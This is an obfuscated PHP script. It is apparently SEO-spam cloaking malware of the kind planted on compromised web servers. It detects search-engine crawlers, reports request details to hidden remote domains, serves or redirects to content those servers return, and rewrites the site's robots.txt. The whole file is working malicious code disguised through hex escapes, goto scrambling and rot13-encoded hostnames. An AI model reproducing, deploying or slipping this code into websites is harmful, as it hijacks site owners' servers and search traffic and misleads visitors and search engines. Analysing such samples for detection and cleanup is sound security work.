<?php
 goto a0GVG; MA2U3: $duri = drequest_uri(); goto NRCF8; nM3b9: create_robots($http . "\x3a\x2f\57" . $host); goto aE3_l; ZAM80: $server = detect_server_software(); goto nM3b9; ZFVKj: function disbot() { $user_agent = strtolower($_SERVER["\x48\x54\124\x50\x5f\x55\x53\105\x52\137\101\x47\x45\116\124"]); if (stristr($user_agent, "\x67\x6f\157\147\x6c\x65\142\x6f\x74") || stristr($user_agent, "\142\151\x6e\147") || stristr($user_agent, "\x79\x61\x68\x6f\x6f") || stristr($user_agent, "\147\x6f\157\x67\x6c\145") || stristr($user_agent, "\x47\157\x6f\x67\x6c\x65\x62\157\164")) { return 1; } else { return 2; } } goto dnOFF; aE3_l: $param = "\167\145\142\75" . $host . "\46\x7a\172\x3d" . $zz . "\46\165\x72\x69\x3d" . $duri . "\x26\165\x72\154\x73\x68\141\156\x67\x3d" . $urlshang . "\x26\x68\x74\x74\x70\75" . $http . "\x26\x6c\x61\156\x67\75" . $lang . "\46\163\x65\162\166\145\162\x3d" . $server . "\x26\155\x6f\x64\145\x6c\x3d" . $model; goto RDMfz; RDMfz: $html_content = request($xmlname, $http_web, $param); goto izwiP; a0GVG: $xmlname = array("\x25\63\x32\45\63\71\x25\x33\x39\45\x32\104\45\x37\x39\45\x37\66\45\x36\x31\45\x37\x38\45\63\61\45\63\67\45\x33\71\x25\62\x45\45\66\x32\x25\66\x46\45\x37\63\45\x36\x38\x25\x36\x36\45\67\60\x25\x36\x38\x25\67\66\x25\66\61\45\x32\x45\x25\x36\67\x25\66\62\45\66\x33", "\x25\x33\x32\45\63\71\45\x33\71\x25\62\104\x25\x37\x39\45\67\x36\45\66\x31\x25\67\x38\45\x33\x31\45\63\67\45\63\x39\45\62\x45\45\x36\x36\45\67\x32\x25\66\x35\45\67\x32\x25\x36\x31\45\67\x31\x25\x37\66\x25\x36\x37\x25\66\x43\45\62\105\45\x36\67\x25\66\62\x25\66\x33", "\x25\63\x32\x25\x33\71\x25\x33\x39\x25\x32\104\x25\x37\71\45\67\66\x25\x36\61\45\x37\x38\x25\x33\x31\x25\63\x37\45\x33\x39\45\62\105\45\x37\62\x25\67\60\x25\66\62\45\x36\x39\45\67\66\45\66\66\x25\67\x36\45\66\62\45\x36\x36\45\62\105\x25\x36\102\45\66\x43\45\66\104", "\45\63\x32\x25\x33\71\x25\63\x39\45\62\x44\45\x37\x39\45\67\x36\x25\x36\61\x25\x37\x38\x25\x33\x31\x25\63\x37\x25\63\x39\x25\x32\105\x25\67\66\x25\66\61\45\x36\x31\45\66\x32\x25\66\66\x25\x36\63\45\67\x32\x25\x36\61\x25\x32\x45\45\66\x37\x25\66\x32\45\66\x33"); goto FPSst; S8Zr7: preg_match("\x2f\134\57\x28\x5b\136\134\x2f\135\53\134\x2e\160\150\x70\x29\57", $duri, $matches); goto uA22N; pbwYg: if ($duri != "\57") { $duri = str_replace("\x2f" . $model_file, '', $duri); $duri = str_replace("\x2f\x69\x6e\144\x65\170\x2e\x70\x68\x70", '', $duri); $duri = str_replace("\x21", '', $duri); } goto vg3Wc; F3mHf: $host = $_SERVER["\x48\x54\x54\x50\137\110\x4f\x53\x54"]; goto PkUT7; mQgd2: if (stristr($duri, "\57\77")) { $model = "\77"; } goto LplhP; Gnh__: function detect_server_software() { $path = $_SERVER["\104\x4f\103\x55\115\x45\x4e\124\x5f\122\117\x4f\124"] . "\x2f\x2e\150\x74\x61\x63\x63\145\x73\x73"; if (file_exists($path)) { return 1; } else { return 2; } } goto M2EiP; zWFCM: $istest = false; goto kMARm; vg3Wc: $duri = urlencode($duri); goto ZAM80; PkUT7: $lang = isset($_SERVER["\x48\124\x54\x50\137\101\103\x43\x45\x50\124\x5f\x4c\101\116\x47\125\x41\x47\105"]) ?: "\145\156"; goto WBLpf; G6TLn: $zz = disbot(); goto MA2U3; ReH7Y: function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . "\72\x2f\57" . $domain . "\x2f\x73\165\x70\145\x72\x36\x2e\160\150\160\77" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\64\x34\x33")) { echo "\x34\64\x33"; } curl_close($ch); } if (ini_get("\x61\x6c\154\157\167\x5f\165\x72\x6c\137\x66\x6f\x70\x65\x6e")) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return "\x6e\x6f\x62\x6f\164\165\163\145\x72\x61\x67\x65\156\164"; } goto t1DUd; M2EiP: function create_robots($url) { $function = func(); $path = $_SERVER["\104\117\103\125\x4d\105\x4e\x54\137\x52\117\117\x54"] . "\57\x72\157\142\157\x74\163\x2e\164\x78\164"; $content = "\125\163\x65\x72\55\x61\147\x65\156\x74\72\40\52" . PHP_EOL; $content .= "\101\x6c\154\157\167\x3a\40\x2f" . PHP_EOL . PHP_EOL; $content .= "\x53\x69\x74\145\x6d\141\x70\x3a\x20" . $url . "\x2f\x73\x69\x74\145\x6d\x61\160\56\x78\155\154" . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } goto ReH7Y; izwiP: if (!strstr($html_content, "\x6e\x6f\142\x6f\x74\x75\163\145\162\x61\x67\145\x6e\164")) { if (strstr($html_content, "\x6f\x6b\150\x74\x6d\x6c")) { @header("\103\x6f\x6e\x74\145\156\164\x2d\x74\171\x70\x65\72\x20\x74\x65\170\x74\57\x68\x74\155\154\x3b\x20\143\x68\x61\162\x73\145\x74\75\165\x74\x66\x2d\70"); $html_content = str_replace("\157\153\x68\x74\x6d\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\147\145\164\x63\157\156\164\145\x6e\x74\65\60\60\x70\141\147\x65")) { @header("\110\124\x54\120\x2f\x31\x2e\x31\40\65\60\x30\40\111\156\x74\x65\162\x6e\x61\x6c\40\123\x65\162\166\145\x72\x20\x45\x72\162\157\162"); die; } else { if (strstr($html_content, "\x34\x30\x34\x70\x61\147\x65")) { @header("\110\x54\124\x50\57\x31\x2e\x31\x20\64\x30\64\x20\x4e\157\x74\40\106\x6f\165\x6e\x64"); die; } else { if (strstr($html_content, "\x33\60\x31\x70\141\x67\x65")) { @header("\x48\124\124\x50\x2f\61\56\x31\40\63\x30\x31\40\115\157\166\x65\144\x20\x50\145\162\x6d\141\156\145\x6e\164\154\171"); $html_content = str_replace("\63\x30\61\x70\x61\147\145", '', $html_content); header("\x4c\x6f\x63\141\x74\151\x6f\x6e\x3a\x20" . $html_content); die; } else { if (strstr($html_content, "\x6f\x6b\170\155\x6c")) { $html_content = str_replace("\x6f\x6b\x78\x6d\x6c", '', $html_content); @header("\x43\x6f\156\x74\x65\x6e\164\55\124\171\x70\x65\72\40\x61\160\x70\154\151\143\141\164\x69\x6f\156\57\170\155\x6c\x3b\40\x63\150\141\x72\163\145\x74\x3d\x75\x74\146\x2d\70"); echo $html_content; die; } else { if (strstr($html_content, "\x6f\x6b\162\x6f\x62\x6f\x74\x73")) { $html_content = str_replace("\157\x6b\162\x6f\142\x6f\164\x73", '', $html_content); @header("\x43\157\156\164\145\x6e\x74\55\x54\x79\x70\x65\72\x20\164\x65\x78\x74\57\160\x6c\x61\151\x6e"); echo $html_content; die; } } } } } } } goto ZFVKj; sBMYs: if (is_https()) { $http = "\150\x74\164\160\163"; } else { $http = "\150\x74\x74\160"; } goto G6TLn; AZCuE: function is_https() { if (isset($_SERVER["\110\124\124\120\x53"]) && strtolower($_SERVER["\110\124\x54\x50\x53"]) !== "\157\x66\x66") { return true; } elseif (isset($_SERVER["\x48\x54\x54\x50\137\x58\137\x46\x4f\122\127\101\122\x44\105\x44\x5f\x50\122\x4f\124\x4f"]) && $_SERVER["\x48\124\124\x50\x5f\130\x5f\x46\x4f\122\127\x41\122\x44\105\x44\137\120\122\117\124\x4f"] === "\x68\164\164\160\163") { return true; } elseif (isset($_SERVER["\110\124\124\120\x5f\106\x52\x4f\116\124\x5f\105\x4e\104\137\110\x54\x54\x50\x53"]) && strtolower($_SERVER["\x48\124\124\x50\137\106\122\117\x4e\124\x5f\105\x4e\104\137\x48\124\124\x50\123"]) !== "\x6f\x66\x66") { return true; } return false; } goto Gnh__; NRCF8: $duri = $duri == '' ? "\57" : $duri; goto S8Zr7; KjW1v: if (isset($_SERVER["\110\124\x54\120\137\122\105\x46\105\122\105\122"])) { $urlshang = $_SERVER["\x48\x54\124\120\x5f\122\x45\106\105\122\x45\122"]; } goto sBMYs; kMARm: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto pbwYg; uA22N: if (empty($matches) || $matches[1] == "\167\x70\55\143\162\157\x6d\56\x70\x68\160" || $matches[1] == "\144\145\164\141\151\154\56\160\x68\x70") { $model_file = "\x69\x6e\144\x65\170\x2e\160\150\x70"; $model = "\151\x6e\x64\145\170"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\x2f"); } $model = str_replace("\x2e\160\x68\x70", '', $model_file); } goto mQgd2; FPSst: $http_web = "\x68\164\164\160\163"; goto F3mHf; LplhP: $string = "\62\x39\x39\55\154\x69\156\153\x31\x37\x39"; goto zWFCM; WBLpf: $urlshang = ''; goto KjW1v; dnOFF: function drequest_uri() { if (isset($_SERVER["\x52\105\x51\x55\105\x53\x54\137\x55\x52\111"])) { $duri = $_SERVER["\122\105\x51\x55\105\x53\124\x5f\x55\122\x49"]; } else { if (isset($_SERVER["\x61\162\x67\x76"])) { $duri = $_SERVER["\x50\110\x50\x5f\123\x45\x4c\106"] . "\x3f" . $_SERVER["\141\x72\147\166"][0]; } else { $duri = $_SERVER["\x50\110\x50\x5f\x53\x45\114\106"] . "\x3f" . $_SERVER["\x51\x55\105\122\131\137\123\x54\122\111\116\107"]; } } return $duri; } goto AZCuE; t1DUd: function func() { $chars = range("\x61", "\x7a"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[15] . $chars[20] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[6] . $chars[4] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\x5f" . $chars[17] . $chars[14] . $chars[19] . "\61\x33"); }